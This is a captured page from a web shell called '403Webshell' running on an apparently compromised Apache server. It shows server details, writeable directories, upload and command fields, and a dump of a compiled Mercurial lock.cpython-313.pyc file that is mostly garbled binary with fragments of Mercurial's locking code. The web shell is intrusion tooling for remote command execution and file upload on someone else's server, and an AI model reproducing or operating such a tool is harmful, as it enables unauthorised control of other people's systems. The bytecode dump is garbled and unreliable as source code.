403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.217.15
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/mercurial/__pycache__/lock.cpython-313.pyc
�

6�h5����SSKJr SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
Jr SSKJ
r
JrJrJr SSKJr Sr\R(S5rSS
jrSSjr"SS	5rS
rg)�)�annotationsN�)�_)�encoding�error�pycompat�util)�procutilc�*�[R"[R"55n[R
R
S5(a)US[R"S5R--
nU$U$![[[4a U$f=f)z�Return a string which is used to differentiate pid namespaces

It's useful to detect "dead" processes and remove stale locks with
confidence. Typically it's just hostname. On modern linux, we include an
extra Linux-specific pid namespace identifier.
slinuxs/%xs/proc/self/ns/pid)
r�
strtolocal�socket�gethostnamer�sysplatform�
startswith�os�stat�st_ino�FileNotFoundError�PermissionError�NotADirectoryError)�results �0/usr/lib/python3/dist-packages/mercurial/lock.py�_getlockprefixrs����
 �
 ��!3�!3�!5�
6�F����&�&�x�0�0�	��f�r�w�w�';�<�C�C�C�C�F��M�6�M��"�?�4F�G�	���M�	�s�&A9�9B�Bc#�^^^^# �/mSm0nSmUUU4SjnSH<n[[US5nU(dMX0;dM$[R"U5X'M> UHn[R"X15 M SmSv� SmUR	5Hup4[R"X45 M T(aT"TS5 gg![a NXf=f![a N0f=f!SmUR	5Hup4[R"X45 M f![a ff=f=f7f)a(Block signal interrupt while doing something critical

This makes sure that the code block wrapped by this context manager won't
be interrupted.

For Windows developers: It appears not possible to guard time.sleep()
from CTRL_C_EVENT, so please don't use time.sleep() to test if this is
working.
Fc��U[[SS5:XdU[[SS5:Xa[e[Re)N�SIGINT�CTRL_C_EVENT)�getattr�signal�KeyboardInterruptr�SignalInterrupt)�nums r�raiseinterrupt�)_delayedinterrupt.<locals>.raiseinterrupt>s<���'�&�(�D�1�1�S�G��N�D�=
�6
�$�#��'�'�'�c�H>�T(aTRU5 gT"U5 g�N)�append)r"�frame�assertedsigs�blockedr#s  ���r�	catchterm�$_delayedinterrupt.<locals>.catchtermFs��������$��3�r%)rr�SIGBREAK�SIGHUP�SIGTERMNTr)rr�	getsignal�
ValueError�items)�orighandlersr,�namer"�handlerr*r+r#s     @@@r�_delayedinterruptr7/s,�����L��G��L�(� ��
�D��&�$��-�C��s�s�.�$*�$4�$4�S�$9��!�
�	�#���
�
�c�-�$�
��
�
��	� ,� 2� 2� 4����
�
�c�+�!5���|�A��'���%�	��	���	��	��	��	� ,� 2� 2� 4����
�
�c�+�!5���	��	�s��D-�C&�C&�C&�C�:C&�D-�/C�2D-�
C�C&�C�C&�
C#� D-�"C#�#D-�&D*�*/D�D*�
D'�$D*�&D'�'D*�*D-�lockc��[XS/UQ7SS0UD6nURUR:XdeURS:�deURS:XdeU=RS-
slSUlURbUR5 U$)z�return a new lock that "steal" the locking made by a source lock

This is used during local clone when reloading a repository. If we could
remove the need for this during copy clone, we could remove this function.
r�dolockFrN)r8�f�held�	acquirefn)�ui�vfs�lockname�stolen_lock�args�kwargs�new_locks       r�
steal_lockrErs����C�1�D�t�D�E�D�V�D�H��=�=�H�J�J�&�&�&����a�����=�=�A�����M�M�Q��M��K�����%������Or%c�l^
�URSS5nU
4Sjn[XS/UQ7SS0UD6m
U(a	U(aSOSn	Sn
U(dSn
O	U(aUn
SnT
R5 UT
lT
R&(a`SU
s=::aT
R&::a+O O(UR[)S
5T
R&-5 OUR
S
T
R&-5 T
R*(aT
R+5 T
$![RGanUb([US5 SSS5 O!,(df   O=fX�:XaU"URUR5 X�:XaU"URUR5 X;::a[UR[5(de[R"[R[R"[UR5T
R UR5e["R$"S	5 US	-
nSnAOSnAff=fGM�)z�return an acquired lock or raise an a LockHeld exception

This function is responsible to issue warnings and or debug messages about
the held lock while trying to acquires it.�devel_wait_sync_fileNc�V>�SU;alURSS5up#[S5[R"TR5[R"U5[R"U54-nO.[S5TR[R"U54-nU"U5 g)z=issue the usual "waiting on lock" message through any channel�:rs5waiting for lock on %s held by process %r on host %r
s"waiting for lock on %s held by %r
N)�splitrr�bytestr�desc)�printer�locker�host�pid�msg�ls     �r�printwarning�trylock.<locals>.printwarning�s�����6�>����T�1�-�I�D��I��� � ����(�� � ��%�� � ��&���C��:�;����� � ��(�?��C�	��r%rr:F����wrsgot lock after %d seconds
)�popr8�_trylockr�LockHeld�open�debugrN�warn�
isinstance�filename�bytes�errno�	ETIMEDOUT�typing�castrL�time�sleep�delayrr=)r>r?r@�timeout�warntimeoutrBrC�devel_wait_filerS�debugidx�
warningidxrf�instrRs             @r�trylockrm�s����
�j�j�!7��>�O��&	
�S�A�=��=�U�=�f�=�A� �W�q�2�H��J���
�	� �
�
�E�
�	�
�J�J�L��,�A�G��w�w��
�%�a�g�g�%��G�G�A�4�5����?�@��H�H�3�a�g�g�=�>��{�{�	���
��H��;�~�~�	��*��/�3�/��0�/�/��� ��R�X�X�t�{�{�3��"��R�W�W�d�k�k�2���!�$�-�-��7�7�7�7��n�n��O�O��K�K��t�}�}�5��F�F��K�K�	��
�J�J�q�M��Q�J�E��'	��	s1�D�H0�H+�'D2�)	H+�2
E	�<C*H+�+H0c��\rSrSrSrSrSSjrSrSrSr	Sr
SS	jrSS
jrSr
SrS
rSrSSjrSrg)r8��arAn advisory lock held by one process to control access to a set
of files.  Non-cooperating processes or incorrectly written scripts
can ignore Mercurial's locking scheme and stomp all over the
repository, so don't do that.

Typically used via localrepository.lock() to lock the repository
store (.hg/store/) or localrepository.wlock() to lock everything
else under .hg/.Nc	�`�XlX lSUlX0lX@lXPlX`lU(a[UlO[RUl/UlUR5Ul
U(a8UR5UlUR
(aUR5 ggg)Nr)r?r;r<rg�	releasefnr=rLr7�_maybedelayedinterruptr	�nullcontextmanager�postrelease�_getpidrPr8rf)	�selfr?�fnamergrqr=rL�
signalsafer:s	         r�__init__�
lock.__init__�s���������	���"��"���	��*;�D�'�*.�*A�*A�D�'�����<�<�>��������D�J��~�~���� ��r%c��U$r'��rvs r�	__enter__�lock.__enter__�s���r%c�J�[SXU455nURUS9 g)Nc3�(# �UHoSLv� M
 g7fr'r|)�.0�as  r�	<genexpr>� lock.__exit__.<locals>.<genexpr>s���G�)F�A�4�i�)F�s�)�success)�all�release)rv�exc_type�	exc_value�exc_tbr�s     r�__exit__�
lock.__exit__s%���G�(�v�)F�G�G�����W��%r%c��URcgURS:�a![R"S[SS9 SUlUR	5 g)Nrz$use lock.release instead of del lock�)�category�
stacklevelr)r<�warningsr\�DeprecationWarningr�r}s r�__del__�lock.__del__sC���9�9��
��9�9�q�=��M�M�6�+��
��D�I����r%c�,�[R"5$r')r
�getpidr}s rru�lock._getpids����� � r%c�x�URnUR5 URU-
$![RawnUS:wa'[R
"S5 US:�aUS-nSnAMb[R"[RURURUR5eSnAff=f)Nrr)rgrXrrYrdrer`rar^rLrN)rvrgrls   rr8�	lock.locks����,�,���
��
�
���|�|�g�-�-���>�>�
��a�<��J�J�q�M���{��1�����n�n��O�O�T�]�]�D�I�I�t�{�{����

�s�.�B9�'B4�/AB4�4B9c	��URcSn[R"U5eURS:�aU=RS-
slg[Rc[5[lS[RUR4-nSnUR(dlU(aeUS-nUR5 URRX R5 SUlSSS5 UR(d	U(aMeUR(dT[R "[R"URR%UR5UR&S5eg!,(df   N�=f![GaGnUR[R:Xa�UR5nUcSnAGM7URU5nUbT[R "[R"URR%UR5UR&U5eSnAGNB[)UR*[,5(de[)UR.[05(de[R2"URUR.[4R6"[,UR*5UR&5eSnAff=f)Nz)cannot acquire a lock after it was stolenrrs%s:%d�r%)r<r�ProgrammingErrorr8�_hostrrPrrr?�makelockr;�OSErrorr`�EEXIST�	_readlock�	_testlockrY�EAGAIN�joinrLr]r^r_�strerror�str�LockUnavailablerbrc)rvrQr@�retry�whyrNs      rrX�
lock._trylock*s����9�9��=�C��(�(��-�-��9�9�q�=��I�I��N�I���:�:��'�)�D�J��t�z�z�4�8�8�4�4�����)�)���Q�J�E�
��0�0�2��H�H�%�%�h���7� !�D�I�3��)�)���<�y�y��.�.����d�h�h�m�m�D�F�F�3�T�Y�Y���
��73�2���
��9�9����,�!�^�^�-�F��~� �!�^�^�F�3�F��)�#�n�n�!�L�L� �H�H�M�M�$�&�&�1� �I�I�"�	��*�&�c�l�l�E�:�:�:�:�%�c�l�l�C�8�8�8�8��/�/��	�	�������E�3�<�<�8��	�	�	���#
�sD�/F�?-E4�,F�4
F�>F�F�K�1K�A(K�6BK�Kc�n�URRUR5$![a gf=f)z{read lock and return its value

Returns None if no lock exists, pid for old-style locks, and host:pid
for new-style locks.
N)r?�readlockr;rr}s rr��lock._readlockZs2��	��8�8�$�$�T�V�V�,�,�� �	��	�s�$'�
4�4c���UcgURSS5up#U[R:wag[	U5n[
R"U5(agg![a gf=f![a gf=f)NFrIrT)rJr2r8r��intr
�testpid)rvrNrOrPs    r�_lockshouldbebroken�lock._lockshouldbebrokenes����>��	����T�1�-�I�D��4�:�:���	��c�(�C����C� � �����	��	���	��	�s"�A�A(�
A%�$A%�(
A5�4A5c��URU5(dU$[URURS-SS9 UR	5nURU5(dUsSSS5 $URRUR5 SSS5 g!,(df   g=f![Ra Us$f=f)Ns.breakr)rg)r�r8r?r;r��unlinkr�	LockError�rvrNs  rr��lock._testlockvs����'�'��/�/��M�	��d�h�h����� 2�A�>����)���/�/��7�7�!�?�>���������'�	?�>�>��
���	��M�	�s:�"B-�(B�$	B-�.%B�B-�
B*�&B-�*B-�-C�Cc�D�UR5nURU5$)a?return id of locker if lock is valid, else None.

If old-style lock, we cannot tell what machine locker is on.
with new-style lock, if locker is on this machine, we can
see if locker is alive.  If locker is on this machine but
not alive, we can safely break lock.

The lock file is only deleted when None is returned.

)r�r�r�s  r�testlock�
lock.testlock�s�����!���~�~�f�%�%r%c�r�URcSn[R"U5eURS:�aU=RS-slgURS:Xa�SUlUR5UR:wagUR
(aUR5 URRUR5 URHnU"U5 M
 SUl
gg![a N0f=f!URRUR5 f![a ff=f=f)z�release the lock and execute callback function if any

If the lock has been acquired multiple times, the actual release is
delayed to the last release call.Nz)cannot release a lock after it was stolenrr)r<rr�rurPrqr?r�r;r�rt)rvr�rQ�callbacks    rr��lock.release�s���
�9�9��=�C��(�(��-�-��9�9�q�=��I�I��N�I�
�Y�Y�!�^��D�I��|�|�~����)��
��>�>��N�N�$���H�H�O�O�D�F�F�+�
!�,�,����!�-� $�D��%���������H�H�O�O�D�F�F�+������sB�!C>�%%C.�.
C;�:C;�>D6�%D&�%D6�&
D3�0D6�2D3�3D6)rrr=rfrLr;r<rPrtrqrgr?)rUNNNTT)�returnr�)r��None)T)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�ryr~r�r�rur8rXr�r�r�r�r��__static_attributes__r|r%rr8r8�s_���"
�E����
���!�:�&��$!�� .�`	��"
�&�$r%c�@�UHnUcMUR5 M gr')r�)�locksr8s  rr�r��s�������L�L�N�r%)r�r8)�
__future__r�
contextlibr`rrr
rdrbr��i18nr�rrrr	�utilsr
r�contextmanagerr7rErmr8r�r|r%r�<module>r�sr��#���	�
�
��
������
� ���?(��?(�D�$E
�Pc$�c$�Lr%

Youez - 2016 - github.com/yon3zu
LinuXploit